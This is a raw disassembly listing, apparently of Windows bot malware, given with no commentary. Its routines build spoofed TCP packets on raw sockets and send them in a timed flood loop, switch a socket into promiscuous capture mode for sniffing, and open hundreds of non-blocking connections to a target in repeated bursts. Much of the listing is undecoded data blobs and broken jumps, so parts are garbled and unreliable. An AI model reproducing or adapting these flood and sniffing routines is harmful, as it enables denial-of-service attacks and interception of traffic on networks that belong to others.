		xor	eax, eax
		mov	[ebp-3B8h], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp-3B8h]
		mov	word ptr [ebp-20h], 2
		push	eax
		mov	[ebp-1Eh], bx
		mov	[ebp-1Ch], ebx
		call	dword_4D1204	; gethostname
		lea	eax, [ebp-3B8h]
		push	eax
		call	dword_4D1274	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp-8]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-8]
		add	esp, 0Ch
		mov	[ebp-1Ch], eax
		push	ebx
		push	3
		push	2
		call	dword_4D1270	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short loc_412D08
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412D08:				; CODE XREF: .nsp0:00412CFDj
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	edi
		call	dword_4D121C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D7E
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_43DD88
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_412D5A
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h


loc_412D5A:				; CODE XREF: .nsp0:00412D38j
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-34h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		push	esi


loc_412D7E:				; CODE XREF: .nsp0:00412D18j
		push	ebx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp-0Ch], esi
		call	dword_4D119C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_412E03+1
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_43DD58
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_412DE0
		push	ebx
		lea	eax, [ebp-2B8h]	; CODE XREF: .nsp0:loc_412E03j
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h


loc_412DE0:				; CODE XREF: .nsp0:00412DBEj
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-34h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h


loc_412E03:				; CODE XREF: .nsp0:00412D9Ej
		js	short near ptr loc_412DC1+2
		add	[edx], al
; ---------------------------------------------------------------------------
		db 0
		dd 0FFFFBF00h, 858D0000h, 0FFFEEC48h, 0E8505357h, 8E24h
					; CODE XREF: .nsp0:00412FFCj
					; .nsp0:00413022j ...
		dd 8D0CC483h, 0FEEC4885h, 505753FFh, 0FFF075FFh, 4D120815h
		dd 51BD8000h, 6FFFEECh,	0B5FFCF75h, 0FFFEEC5Ch,	71E43D8Bh
		dd 0D7FF0042h, 0EC5EB5FFh, 0B70FFFFEh, 84589C0h, 7D83D7FFh
		dd 0B70F6E08h, 83AA74F8h, 7419087Dh, 6EFF83A4h,	0FF839F74h
		dd 0FF9A7419h, 0FEEC54B5h, 0FAD9E8FFh, 0FF59FFFFh, 0E815FF30h
		dd 50004271h, 0EC48858Dh, 8C68FFFFh, 50004335h,	90A1E8h
		dd 58B5FF00h, 0E8FFFEECh, 0FFFFFAB3h, 0FF10C483h, 0E815FF30h
		dd 50004271h, 0F448858Dh, 8C68FFFFh, 50004335h,	9079E8h
		dd 74858D00h, 89FFFEECh, 0E850FC5Dh, 89C4h, 8510C483h
		dd 8B347EC0h, 0BC80FC45h, 0FEEC7405h, 848D0DFFh, 0FEEC7405h
		dd 0C60375FFh, 38802000h, 0C603750Ah, 45FF2000h, 74858DFCh
		dd 50FFFEECh, 898FE8h, 0FC453900h, 83CC7C59h, 0F50087Dh
		dd 0A984h, 50FF8300h, 0A0840Fh,	858D0000h, 0FFFEEC74h
		dd 0FA3CE850h, 0C084FFFFh, 8D237459h, 0FEEC7485h, 858D50FFh
		dd 0FFFFF448h, 75FF5057h, 48858D08h, 50FFFFECh,	43DD2468h
		dd 9BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_412F4E:				; DATA XREF: .nsp0:off_44241Co
		cmp	edi, 50h
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412A79
		test	al, al
		pop	ecx
		jz	short loc_412F84
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DCF0
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------


loc_412F84:				; CODE XREF: .nsp0:00412F62j
		cmp	edi, 50h
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412AEF
		test	al, al
		pop	ecx
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DCBC
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------


loc_412FBA:				; CODE XREF: .nsp0:00412F51j
					; .nsp0:00412F87j ...
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412B76
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_413027
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp+8]
		push	eax
		push	offset unk_43DC84


loc_412FE9:				; CODE XREF: .nsp0:00412F82j
					; .nsp0:00412FB8j ...
		lea	eax, [ebp-2B8h]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 20h
		cmp	[ebp-2Ch], ebx
		jnz	near ptr dword_412E08+1
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h
		jmp	near ptr dword_412E08+1
; ---------------------------------------------------------------------------


loc_413027:				; CODE XREF: .nsp0:00412FD0j
		call	sub_412BFD
		test	al, al
		pop	ecx
		jz	near ptr dword_412E08+1
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DC4C
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------
byte_413055	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:00407F99o
		dd 494EC81h, 458B0000h,	0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
		dd 80C7A5F3h, 290h, 1, 70A815FFh, 0E8500042h, 8F00h, 0FE74858Dh
		dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
		dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 43DDB468h
		dd 7BE85000h, 3300008Eh, 20C483F6h, 75F87539h, 858D5620h
		dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
		dd 68F0E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh,	26B5E8h
		dd 70B5FF00h, 0E8FFFFFDh, 0FFFF822Eh, 0E8565959h, 72CEFCh
; ---------------------------------------------------------------------------
		cli
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413107	proc near		; CODE XREF: .nsp0:0041347Ep

var_17AF1BBC	= dword	ptr -17AF1BBCh
var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4D1160	; WSAStartup
		test	eax, eax
		jz	short loc_413147
		xor	eax, eax
		jmp	loc_41343A
; ---------------------------------------------------------------------------


loc_413147:				; CODE XREF: sub_413107+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D1294	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_413432
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4D11D0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413428
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4D11F0	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4D11F0	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_12], ax
		call	sub_41BF92
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4D11F0	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4D11EC	; ntohl
		push	offset dword_43DE10
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413217
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_41326B
; ---------------------------------------------------------------------------


loc_413217:				; CODE XREF: sub_413107+105j
		push	offset dword_43DE04
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413233
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_41326B
; ---------------------------------------------------------------------------


loc_413233:				; CODE XREF: sub_413107+121j
		push	offset dword_43DDF8
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41326B
		call	sub_41BF92
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41BF92
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_41326B:				; CODE XREF: sub_413107+10Ej
					; sub_413107+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0B40000h
		or	[ebp+var_17AF1BBC+1], ecx
		push	0E60072CDh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D950
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_4132B9:				; CODE XREF: sub_413107+2E2j
					; sub_413107+2F0j
		mov	[ebp+var_4], bx
		call	sub_41BF92
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_14], ax
		call	sub_41BF92
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BF92
		or	edi, eax
		push	edi
		call	dword_4D11F0	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4D11EC	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40ABC3
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40ABC3
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4D1254	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4133FC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 0B40000h
		pop	ecx
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_413425
		jl	loc_4132B9
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_413425
		jmp	loc_4132B9
; ---------------------------------------------------------------------------


loc_4133FC:				; CODE XREF: sub_413107+2CBj
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43DDDC
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4157A6
		add	esp, 10h
		jmp	short loc_413428
; ---------------------------------------------------------------------------


loc_413425:				; CODE XREF: sub_413107+2E0j
					; sub_413107+2EEj
		mov	ebx, [ebp+arg_8]


loc_413428:				; CODE XREF: sub_413107+78j
					; sub_413107+31Cj
		push	[ebp+var_20]
		call	dword_4D1288	; closesocket
		pop	esi


loc_413432:				; CODE XREF: sub_413107+5Bj
		call	dword_4D1148	; WSACleanup
		mov	eax, ebx


loc_41343A:				; CODE XREF: sub_413107+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413107	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BE29
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41BE29
		mov	edi, eax
		call	sub_41BF92
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413107
		add	esp, 20h
		test	eax, eax
		jnz	short loc_41348D
		push	1
		pop	eax


loc_41348D:				; CODE XREF: .nsp0:00413488j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_41349C	dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
					; DATA XREF: .nsp0:00408172o
		dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
		dd 19C9889h, 15FF0000h,	4D1270h, 89FFF883h, 5F75FC45h
		dd 118415FFh, 8D50004Dh, 0FFFC4485h, 0DF0068FFh, 0E8500043h
		dd 8A46h, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
		dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0BBE8FFFFh
		dd 83FFFF64h, 858D14C4h, 0FFFFFC44h, 2280E850h,	75FF0000h
		dd 7DFCE8C8h, 5959FFFFh, 0CACAE857h, 8DB20072h,	46AF44Dh
		dd 6AFF3351h, 89505702h, 15FFF45Dh, 4D11D0h, 75FFF883h
		dd 8415FF5Dh, 50004D11h, 0FC44858Dh, 0D068FFFFh, 500043DEh
		dd 89CDE8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
		dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6444E8FFh
		dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
		dd 0FF7D85E8h, 575959FFh, 72CA53E8h, 858D1A00h,	0FFFFFE48h
		dd 3015FF50h, 83004D12h, 5575FFF8h, 0FC44858Dh,	0B068FFFFh
		dd 500043DEh, 8965E8h, 0DC7D3900h, 20755959h, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0FF63DDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
		dd 0E8C875FFh, 0FFFF7D1Eh, 0E8575959h, 72C9ECh,	8D106A82h
		dd 5057E445h, 861FE8h, 0CC48300h, 0E445C766h, 0FF570002h
		dd 4D11F015h, 45896600h, 48858DE6h, 50FFFFFEh, 123015FFh
		dd 358B004Dh, 4270A8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
		dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
		dd 1C680000h, 0C6000004h, 4D3F6805h, 15FF4500h,	4D11F0h
		dd 66D47D39h, 4D3F6AA3h, 1D896600h, 4D3F6Ch, 6E3D8966h
		dd 0C6004D3Fh, 4D3F7005h, 1D888000h, 4D3F71h, 723D8966h
		dd 74004D3Fh, 88E4E830h, 0D88B0000h, 0E808E3C1h, 88DAh
		dd 0E3C1D803h, 88D0E808h, 0D8030000h, 0E808E3C1h, 88C6h
		dd 16AD803h, 3F741D89h,	0EB5B004Dh, 44B5FF18h, 0E8FFFFFEh
		dd 0FFFF7486h, 15FF5059h, 4D1230h, 4D3F74A3h, 0E8458B00h
		dd 4D3F78A3h, 8894E800h, 0B9990000h, 100h, 1588F9F7h, 4D3F7Ch
		dd 8881E8h, 0B99900h, 0F7000001h, 7D1588F9h, 0E8004D3Fh
		dd 886Eh, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D3F7Eh
		dd 821D8966h, 42004D3Fh, 80158966h, 0E8004D3Fh,	8846h
		dd 0FFB999h, 0F9F70000h, 3F846852h, 0E1E8004Dh,	83000084h
		dd 458D0CC4h, 50106AE4h, 41C6857h, 68680000h, 0FF004D3Fh
		dd 15FFFC75h, 4D1254h, 74FFF883h, 845FF08h, 0FFFECAE9h
		dd 0FC75FFFFh, 128815FFh, 15FF004Dh, 4D1184h, 48858D50h
		dd 0FFFFFFFEh, 68500875h, 43DE68h, 0FC44858Dh, 68FFFFh
		dd 50000002h, 8877E8h, 18C48300h, 75DC7D39h, 858D5720h
		dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
		dd 61F4E8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh,	1FB9E8h
		dd 0C875FF00h, 0FF7B35E8h, 575959FFh, 72C803E8h, 75FF7600h
		dd 8815FFFCh, 8B004D12h, 0D2330845h, 8B3CC06Bh,	0AE8C1C8h
		dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 43DE1Ch, 86F8E850h
		dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 6FE8FFFFh,	83FFFF61h
		dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h,	7AB0E8C8h
		dd 5959FFFFh, 0C77EE857h
		db 72h,	0, 7
byte_413883	db 55h			; DATA XREF: .nsp0:00406F69o
		dd 20B8EC8Bh, 0E8000103h, 8940h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
		dd 117815FFh, 4589004Dh, 40858D08h, 50FFFFFFh, 123015FFh
		dd 0F08B004Dh, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
		dd 127415FFh, 0C33B004Dh, 7D830674h, 5D75FF08h,	0FF40858Dh
		dd 8D50FFFFh, 0FFFCBC85h, 0DF5868FFh, 0E8500043h, 863Ah
		dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
		dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF60B1E8h, 14C483FFh
		dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF79F2h
		dd 0E8575959h, 72C6C0h,	74C33BB3h, 0C408B0Ch, 8B008Bh
		dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 82E0h
		dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
		dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
		dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
		dd 815FF08h, 46004D11h,	7CC0753Bh, 875FFDAh, 12A815FFh
		dd 858D004Dh, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 43DF2Ch
		dd 856CE850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
		dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 0E3E8FFFFh
		dd 83FFFF5Fh, 858D14C4h, 0FFFFFCBCh, 1DA8E850h,	75FF0000h
		dd 7924E8D0h, 5959FFFFh, 0C5F2E853h
		db 72h,	0, 80h
byte_413A0F	db 55h			; DATA XREF: .nsp0:004071B2o
		dd 10B8EC8Bh, 0E8000103h, 87B4h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
		dd 70A815FFh, 0E8500042h, 8544h, 6A116A59h, 0FF026A02h
		dd 4D127015h, 33D88B00h, 8D106AFFh, 5057F045h, 81DFE8h
		dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 3015FF50h
		dd 83004D12h, 4589FFF8h, 8D757508h, 0FFFF5085h,	15FF50FFh
		dd 4D1274h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
		dd 0DFAC68FFh, 0E8500043h, 848Eh, 390CC483h, 2075E87Dh
		dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
		dd 0FFFFFECCh, 0FF5F05E8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
		dd 1CCAh, 0E8E075FFh, 0FFFF7846h, 0E8565959h, 72C514h
		dd 0C408B6Dh, 3EB008Bh,	8B08458Dh, 0DC7D3900h, 75F44589h
		dd 848CE811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
		dd 0F015FFDCh, 39004D11h, 8966DC75h, 37DF245h, 0B8DC7589h
		dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
		dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
		dd 843Eh, 0FFB999h, 0F9F70000h,	0D4753B46h, 0EF359488h
		dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h,	458D5E0Bh
		dd 50106AF0h, 8410E857h, 0A6A0000h, 0F9F75999h,	2BD4458Bh
		dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4D1254h, 0FFD875FFh
		dd 42706415h, 0CE754E00h, 75DC7D39h, 83E0E8BCh,	0B9990000h
		dd 0FFDCh, 5242F9F7h, 11F015FFh, 8966004Dh, 0A1EBF245h
		dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 0DF8068FFh, 0E8500043h
		dd 8356h, 390CC483h, 2075E87Dh,	0CC858D57h, 0FFFFFFFCh
		dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5DCDE8h
		dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
		dd 0FFFF770Eh, 0E8575959h, 72C3DCh
		db 94h
byte_413C25	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:00406840o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
		dd 0DFD468FFh, 0E8500043h, 82BEh, 0C483F633h, 0F8753918h
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 33E8FFFFh, 83FFFF5Dh, 858D14C4h,	0FFFFFBECh
		dd 1AF8E850h, 75FF0000h, 7674E8F0h, 5959FFFFh, 0C342E856h
		dd 5F2D0072h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CC1	proc near		; CODE XREF: .nsp0:00413DAAp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413D7F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413D0C:				; CODE XREF: sub_413CC1+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D14:				; CODE XREF: sub_413CC1+7Aj
		push	0
		push	1
		push	2
		call	dword_42721C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_413D37
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4271F4	; ioctlsocket


loc_413D37:				; CODE XREF: sub_413CC1+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413D14
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D45:				; CODE XREF: sub_413CC1+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_42720C	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_413D45
		push	64h
		call	dword_427064	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D69:				; CODE XREF: sub_413CC1+B4j
		push	dword ptr [esi]
		call	dword_427218	; closesocket
